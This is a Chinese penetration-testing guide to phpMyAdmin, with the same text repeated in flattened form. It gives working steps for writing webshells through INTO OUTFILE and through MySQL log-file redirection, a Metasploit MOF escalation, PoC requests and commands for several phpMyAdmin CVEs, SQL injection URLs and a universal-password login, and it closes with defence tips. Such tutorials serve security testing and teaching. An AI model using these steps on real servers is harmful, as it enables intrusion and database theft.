总结分析 | 基于phpmyadmin的渗透测试
字数 2739 2025-08-10 13:48:29

phpMyAdmin渗透测试全面指南

一、phpMyAdmin简介

phpMyAdmin是一个基于PHP的MySQL数据库管理工具,通过Web界面提供数据库管理功能:

  • 允许管理员通过Web接口管理MySQL数据库
  • 简化复杂SQL语法的输入
  • 方便处理大量数据的导入导出
  • 支持远程管理MySQL数据库
  • 可创建常用PHP语法,方便编写网页时验证SQL语法

典型访问路径:

  • http://example.com/phpmyadmin/
  • http://example.com/pma/index.php

二、攻击phpMyAdmin的价值

攻击phpMyAdmin可获取:

  1. 网站数据库信息(用户数据、敏感数据、后台账号等)
  2. 通过执行任意代码实现对Web服务器的完全控制

三、常见攻击方法

3.1 常见漏洞类型

  1. 弱密码攻击:猜测或破解phpMyAdmin账户密码
  2. 过时版本漏洞:如phpMyAdmin 4.8.0和4.8.1的远程文件包含漏洞(CVE-2018-12613)
  3. 远程文件包含(RFI):包含远程恶意脚本
  4. 远程代码执行(RCE):如phpMyAdmin 4.8.1版本的RCE漏洞

3.2 Getshell方法

  1. Select into Outfile

    • 使用SELECT ... INTO OUTFILE写入webshell
    • 需要条件:
      • 数据库root权限
      • 知道web绝对路径
      • web路径可写
  2. 日志文件操作

    • 操作MySQL日志文件写入webshell
    • 需要日志文件目录写权限和web绝对路径
  3. 新表方法

    • 创建新表并插入webshell
    • 使用INTO OUTFILE写入文件

四、信息收集

4.1 版本信息获取

访问以下文件获取版本信息:

  • readme.php
  • changelog.php
  • Change
  • Documentation.html
  • Documentation.txt
  • translators.html

4.2 绝对路径获取方法

  1. phpinfo()页面直接显示web路径
  2. 通过fuzz尝试触发报错信息
  3. 集成web框架路径猜测(如phpstudy、LAMPP等)
  4. 查看数据库表内容获取配置文件路径
  5. 使用show variables like '%datadir%';查看数据库路径反猜web路径
  6. 通过@@datadir参数查看MySQL路径
  7. 百度/Zoomeye/Shodan搜索error/warning信息

五、PhpMyAdmin Getshell技术

5.1 写入文件GetShell

前提条件

  1. 数据库root权限
  2. 知道网站物理路径
  3. 数据库有写权限

检查写权限

show variables like '%secure%';
  • secure_file_priv为NULL:不可写文件
  • secure_file_priv为空:可任意位置写文件
  • secure_file_priv为目录路径:仅可在该目录写文件

5.1.1 直接写入文件

select "<?php phpinfo();?>" INTO OUTFILE "d:\\phpstudy\\www\\7.php"

注意使用双反斜线

5.1.2 通过日志文件写入

  1. 开启日志记录:
set global general_log = "ON";
  1. 查看当前日志目录:
show variables like 'general%';
  1. 指定日志文件:
set global general_log_file = "D:/phpStudy/WWW/gouwo.php";
  1. 写入执行代码:
select "<?php phpinfo();?>";

5.1.3 通过慢查询写入

  1. 查看慢查询日志目录:
show variables like '%slow%';
  1. 重新设置路径:
set GLOBAL slow_query_log_file='D:/phpStudy/WWW/gouwo2.php';
  1. 开启慢查询日志:
set GLOBAL slow_query_log=on;
  1. 执行写入日志:
select '<?php phpinfo();?>' from mysql.db where sleep(10);

5.2 MOF提权

适用于Windows <= 2003系统:

  1. 替换C:\Windows\System32\mof目录下的MOF文件
  2. 系统每5秒执行一次上传的MOF

使用Metasploit模块:

use exploit/windows/mysql/mysql_mof
set rhost 192.168.106.170
set rport 3306
set password root
set username root
exploit

六、PhpMyAdmin漏洞利用

6.1 WooYun-2016-199433:任意文件读取

影响版本:phpMyAdmin 2.x

POC

POST /scripts/setup.php HTTP/1.1
Host: your-ip:8080
[...]
Content-Length: 80

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

6.2 CVE-2014-8959:本地文件包含

影响范围

  • phpMyAdmin 4.0.1~4.2.12
  • PHP < 5.3.4

POC

/gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=/tmp/sess_***%00

6.3 CVE-2016-5734:后台命令执行RCE

影响范围

  • phpMyAdmin 4.0.x < 4.0.10.16
  • 4.4.x < 4.4.15.7
  • 4.6.x < 4.6.3
  • PHP 4.3.0~5.4.6

利用脚本

cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"

6.4 CVE-2018-12613:后台文件包含

影响版本:phpMyAdmin 4.8.0和4.8.1

利用步骤

  1. 执行SQL写入PHP代码到Session文件:
select '<?php phpinfo();exit;?>'
  1. 包含session文件:
http://10.1.1.10/index.php?target=db_sql.php%253f/var/lib/php/sessions/sess_[COOKIE值]

6.5 CVE-2018-19968:任意文件包含/RCE

影响版本:phpMyAdmin 4.8.0~4.8.3

利用步骤

  1. 创建数据库并写入PHP代码:
CREATE DATABASE foo;
CREATE TABLE foo.bar (baz VARCHAR(100) PRIMARY KEY);
INSERT INTO foo.bar SELECT '<?php phpinfo();?>';
  1. 生成配置表:
http://10.1.1.10/chk_rel.php?fixall_pmadb=1&db=foo
  1. 篡改数据插入pma column_info:
INSERT INTO` pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop','plop', 'plop', 'plop','/tmp/sess_[COOKIE值]','plop'
  1. 访问包含Session文件的地址:
http://10.1.1.10/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1

6.6 CVE-2020-0554:后台SQL注入

影响版本

  • phpMyAdmin 4 < 4.9.4
  • phpMyAdmin 5 < 5.0.1

前提:已知一个用户名密码

Payload示例

http://192.168.209.139:8001/server_privileges.php?ajax_requests=true&validate_username=1&username=1%27or%201=1%20--+db=&token=[TOKEN]&viewing_mode=server

报错注入Payload

http://192.168.209.139:8001/server_privileges.php?ajax_request=true&validate_username=1&username=1%27and%20extractvalue(1,concat(0x7e,(select%20user()),0x7e))--+db=&token=[TOKEN]&viewing_mode=server

6.7 CVE-2019-12922:跨站请求伪造

影响版本:phpMyAdmin <= 4.9.0.1

利用方法

  1. 在登录状态下添加服务器
  2. 通过CSRF触发删除操作

6.8 CVE-2017-1000499:跨站请求伪造

影响版本:phpMyAdmin 4.7.x < 4.7.7

POC示例

<p>Hello World</p>

七、特殊版本GetShell

7.1 CVE-2013-3238

影响版本:3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3

Metasploit模块

use exploit/multi/http/phpmyadminpregreplace

7.2 CVE-2012-5159

影响版本:phpMyAdmin v3.5.2.2

Metasploit模块

use exploit/multi/http/phpmyadmin3522_backdoor

7.3 CVE-2009-1151

影响版本

  • 2.11.x < 2.11.9.5
  • 3.x < 3.1.3.1

Metasploit模块

use exploit/unix/webapp/phpmyadmin_config

7.4 弱口令&万能密码

  1. 弱口令:phpMyAdmin 2.11.9.2版本,可直接用root用户无密码登录
  2. 万能密码:2.11.3/2.11.4版本,使用用户名'localhost'@'@"可登录成功

八、防御建议

  1. 及时更新phpMyAdmin到最新版本
  2. 使用强密码并定期更换
  3. 限制phpMyAdmin的访问IP
  4. 禁用不必要的PHP函数
  5. 配置正确的文件权限
  6. 监控和审计phpMyAdmin的访问日志
  7. 考虑使用替代的数据库管理工具
  8. 定期备份数据库
  9. 禁用phpMyAdmin的某些危险功能
  10. 使用HTTPS加密通信

通过全面了解这些攻击技术和防御措施,安全专业人员可以更好地保护phpMyAdmin安装,同时渗透测试人员可以更有效地评估系统的安全性。

phpMyAdmin渗透测试全面指南 一、phpMyAdmin简介 phpMyAdmin是一个基于PHP的MySQL数据库管理工具,通过Web界面提供数据库管理功能: 允许管理员通过Web接口管理MySQL数据库 简化复杂SQL语法的输入 方便处理大量数据的导入导出 支持远程管理MySQL数据库 可创建常用PHP语法,方便编写网页时验证SQL语法 典型访问路径: http://example.com/phpmyadmin/ http://example.com/pma/index.php 二、攻击phpMyAdmin的价值 攻击phpMyAdmin可获取: 网站数据库信息(用户数据、敏感数据、后台账号等) 通过执行任意代码实现对Web服务器的完全控制 三、常见攻击方法 3.1 常见漏洞类型 弱密码攻击 :猜测或破解phpMyAdmin账户密码 过时版本漏洞 :如phpMyAdmin 4.8.0和4.8.1的远程文件包含漏洞(CVE-2018-12613) 远程文件包含(RFI) :包含远程恶意脚本 远程代码执行(RCE) :如phpMyAdmin 4.8.1版本的RCE漏洞 3.2 Getshell方法 Select into Outfile 使用 SELECT ... INTO OUTFILE 写入webshell 需要条件: 数据库root权限 知道web绝对路径 web路径可写 日志文件操作 操作MySQL日志文件写入webshell 需要日志文件目录写权限和web绝对路径 新表方法 创建新表并插入webshell 使用 INTO OUTFILE 写入文件 四、信息收集 4.1 版本信息获取 访问以下文件获取版本信息: readme.php changelog.php Change Documentation.html Documentation.txt translators.html 4.2 绝对路径获取方法 phpinfo()页面直接显示web路径 通过fuzz尝试触发报错信息 集成web框架路径猜测(如phpstudy、LAMPP等) 查看数据库表内容获取配置文件路径 使用 show variables like '%datadir%'; 查看数据库路径反猜web路径 通过@@datadir参数查看MySQL路径 百度/Zoomeye/Shodan搜索error/warning信息 五、PhpMyAdmin Getshell技术 5.1 写入文件GetShell 前提条件 : 数据库root权限 知道网站物理路径 数据库有写权限 检查写权限 : secure_ file_ priv为NULL:不可写文件 secure_ file_ priv为空:可任意位置写文件 secure_ file_ priv为目录路径:仅可在该目录写文件 5.1.1 直接写入文件 注意使用双反斜线 5.1.2 通过日志文件写入 开启日志记录: 查看当前日志目录: 指定日志文件: 写入执行代码: 5.1.3 通过慢查询写入 查看慢查询日志目录: 重新设置路径: 开启慢查询日志: 执行写入日志: 5.2 MOF提权 适用于Windows <= 2003系统: 替换C:\Windows\System32\mof目录下的MOF文件 系统每5秒执行一次上传的MOF 使用Metasploit模块: 六、PhpMyAdmin漏洞利用 6.1 WooYun-2016-199433:任意文件读取 影响版本 :phpMyAdmin 2.x POC : 6.2 CVE-2014-8959:本地文件包含 影响范围 : phpMyAdmin 4.0.1~4.2.12 PHP < 5.3.4 POC : 6.3 CVE-2016-5734:后台命令执行RCE 影响范围 : phpMyAdmin 4.0.x < 4.0.10.16 4.4.x < 4.4.15.7 4.6.x < 4.6.3 PHP 4.3.0~5.4.6 利用脚本 : 6.4 CVE-2018-12613:后台文件包含 影响版本 :phpMyAdmin 4.8.0和4.8.1 利用步骤 : 执行SQL写入PHP代码到Session文件: 包含session文件: 6.5 CVE-2018-19968:任意文件包含/RCE 影响版本 :phpMyAdmin 4.8.0~4.8.3 利用步骤 : 创建数据库并写入PHP代码: 生成配置表: 篡改数据插入pma column_ info: 访问包含Session文件的地址: 6.6 CVE-2020-0554:后台SQL注入 影响版本 : phpMyAdmin 4 < 4.9.4 phpMyAdmin 5 < 5.0.1 前提 :已知一个用户名密码 Payload示例 : 报错注入Payload : 6.7 CVE-2019-12922:跨站请求伪造 影响版本 :phpMyAdmin <= 4.9.0.1 利用方法 : 在登录状态下添加服务器 通过CSRF触发删除操作 6.8 CVE-2017-1000499:跨站请求伪造 影响版本 :phpMyAdmin 4.7.x < 4.7.7 POC示例 : 七、特殊版本GetShell 7.1 CVE-2013-3238 影响版本 :3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 Metasploit模块 : 7.2 CVE-2012-5159 影响版本 :phpMyAdmin v3.5.2.2 Metasploit模块 : 7.3 CVE-2009-1151 影响版本 : 2.11.x < 2.11.9.5 3.x < 3.1.3.1 Metasploit模块 : 7.4 弱口令&万能密码 弱口令 :phpMyAdmin 2.11.9.2版本,可直接用root用户无密码登录 万能密码 :2.11.3/2.11.4版本,使用用户名 'localhost'@'@" 可登录成功 八、防御建议 及时更新phpMyAdmin到最新版本 使用强密码并定期更换 限制phpMyAdmin的访问IP 禁用不必要的PHP函数 配置正确的文件权限 监控和审计phpMyAdmin的访问日志 考虑使用替代的数据库管理工具 定期备份数据库 禁用phpMyAdmin的某些危险功能 使用HTTPS加密通信 通过全面了解这些攻击技术和防御措施,安全专业人员可以更好地保护phpMyAdmin安装,同时渗透测试人员可以更有效地评估系统的安全性。